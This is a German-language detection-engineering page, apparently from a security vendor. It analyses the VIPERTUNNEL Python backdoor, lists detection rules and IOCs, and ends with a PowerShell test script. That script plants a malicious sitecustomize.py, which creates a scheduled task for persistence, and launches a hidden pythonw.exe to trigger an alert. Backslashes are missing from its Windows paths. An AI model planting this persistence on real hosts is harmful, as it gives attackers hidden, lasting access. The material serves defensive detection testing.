VIPERTUNNEL Python-Backdoor: Eine eingehende Analyse
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Bericht beschreibt die Analyse von VIPERTUNNEL, einem auf Python basierenden Backdoor, das durch eine geplante Aufgabe persistiert und eine bösartige sitecustomize.py verwendet, um eine verschleierte DLL zu laden. Die DLL entschlüsselt und führt eine mehrstufige Nutzlast aus, die einen SOCKS5-Proxy zu einem fest codierten C2-Server über Port 443 aufbaut. Die Infrastruktur ist mit UNC2165 und EvilCorp verknüpft und teilt Obfuskationstechniken mit dem ShadowCoil-Anmeldeinformationsdieb.
Untersuchung
Forscher untersuchten die Ausgabe von Autoruns, identifizierten die geplante Aufgabe 523135538 und verfolgten die Ausführung bis zu C:ProgramDatacp49spythonw.exe und ihrem sitecustomize.py-Modul. Die Rückwärtserstellung von b5yogiiy3c.dll enthüllte schichtweise Obfuskation, Entschlüsselungsroutinen und eine Endstufe, die einen SOCKS5-Tunnel mit fest codierten Anmeldeinformationen erstellt. Infrastrukturanalysen verbanden mehrere Domains und IPs mit der Kampagne und hoben den Einsatz des Pyramid-C2-Frameworks hervor.
Eindämmung
Endpunkterkennung bereitstellen, die die Ausführung von pythonw.exe ohne Argumente, die Erstellung von geplanten Aufgaben mit numerischen Namen und die Anwesenheit von sitecustomize.py an unerwarteten Orten überwacht. Ausgangsverkehr zu bekannten C2-Domains und zu den Ports 443/8000 mit anomalen HTTP 401-Antworten blockieren. Strenge Anwendungskontrolle implementieren, um das Laden nicht autorisierter Python-Module zu verhindern.
Reaktion
Alarm bei der Erstellung der verdächtigen geplanten Aufgabe und der Ausführung von pythonw.exe ohne Skript. Betroffene Hosts isolieren, Speicherdumps sammeln und nach charakteristischen Klassennamen und fest codierten Anmeldeinformationen suchen. Die kompromittierten Anmeldeinformationen ungültig machen und die im Bericht identifizierte C2-Infrastruktur stören.
Angriffsablauf
Erkennungen
Python-Ausführung aus verdächtigen Ordnern (über cmdline)
Anzeigen
Verdächtige geplante Aufgabe (über Prüfung)
Anzeigen
IOC’s (SourceIP) zur Erkennung: Schlängeln durch den Lärm – Tiefenanalyse des VIPERTUNNEL Python-Backdoors Teil 2
Anzeigen
IOC’s (SourceIP) zur Erkennung: Schlängeln durch den Lärm – Tiefenanalyse des VIPERTUNNEL Python-Backdoors Teil 1
Anzeigen
IOC’s (DestinationIP) zur Erkennung: Schlängeln durch den Lärm – Tiefenanalyse des VIPERTUNNEL Python-Backdoors Teil 2
Anzeigen
IOC’s (DestinationIP) zur Erkennung: Schlängeln durch den Lärm – Tiefenanalyse des VIPERTUNNEL Python-Backdoors Teil 1
Anzeigen
Verdächtige Ausführung von Python zur Persistenz über sitecustomize.py [Windows-Prozesserstellung]
Anzeigen
Simulationsausführung
Voraussetzung: Der Telemetrie & Baseline Pre‑flight Check muss bestanden sein.
Begründung: Dieser Abschnitt erläutert die präzise Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs genau widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Der Angreifer lässt zuerst eine bösartige
sitecustomize.pyim selben Verzeichnis wiepythonw.exe. Python importiert automatischsitecustomize.pybeim Start des Interpreters, was dem Angreifer ermöglicht, beliebigen Code auszuführen, ohne einen Skriptpfad in der Befehlszeile anzugeben. Durch Starten vonpythonw.exeohne Argumente, enthält das Prozessereignis zur Erstellung eine leereCommandLineFeld, das die Bedingungen der Sigma-Regel erfüllt. Die Nutzlast etabliert eine geplante Aufgabe zur Persistenz, indem der Interpreter beim Systemstart ausgeführt wird, um langfristig Zugriff zu gewährleisten. -
Regressionstest-Skript:
# ------------------------------------------------- # Bösartige sitecustomize.py einrichten # ------------------------------------------------- $payloadPath = 'C:ProgramDatacp49ssitecustomize.py' $exePath = 'C:ProgramDatacp49spythonw.exe' # Sicherstellen, dass der Zielordner existiert New-Item -ItemType Directory -Path (Split-Path $exePath) -Force | Out-Null # Eine harmlose Kopie von pythonw.exe für den Test bereitstellen (falls nicht bereits vorhanden) # In einem realen Red-Team-Szenario wäre dies der legitime Interpreter if (-Not (Test-Path $exePath)) { # Aus der systemweiten Python-Installation kopieren (bei Bedarf Pfad anpassen) Copy-Item 'C:Python39pythonw.exe' $exePath } # Bösartige sitecustomize.py erstellen (erstellt eine geplante Aufgabe als Machbarkeitsnachweis) @" import subprocess, sys # Erstellen einer geplanten Aufgabe, die pythonw.exe jede Minute ausführt (Persistenz) subprocess.run(['schtasks', '/Create', '/SC', 'MINUTE', '/MO', '1', '/TN', 'UpdateTask', '/TR', sys.executable]) "@ | Set-Content -Path $payloadPath -Encoding UTF8 # ------------------------------------------------- # Die Erkennung auslösen (bösartige Ausführung) # ------------------------------------------------- Write-Host '[+] Starte pythonw.exe mit leerer Befehlszeile...' Start-Process -FilePath $exePath -ArgumentList '' -WindowStyle Hidden # Eine kurze Wartezeit, damit die geplante Aufgabe erstellt wird (optional) Start-Sleep -Seconds 5 Write-Host '[+] Nutzlast ausgeführt. Prüfen Sie Ihr SIEM auf die Warnung.' # ------------------------------------------------- # Ende des Skripts # ------------------------------------------------- -
Aufräum-Befehle:
# Entfernen der bösartigen sitecustomize.py Remove-Item -Path 'C:ProgramDatacp49ssitecustomize.py' -Force -ErrorAction SilentlyContinue # Löschen der vom Payload erstellten geplanten Aufgabe schtasks /Delete /TN UpdateTask /F # Optional die kopierte pythonw.exe entfernen (falls es eine Testkopie war) # Remove-Item -Path 'C:ProgramDatacp49spythonw.exe' -Force Write-Host '[+] Aufräumen abgeschlossen.'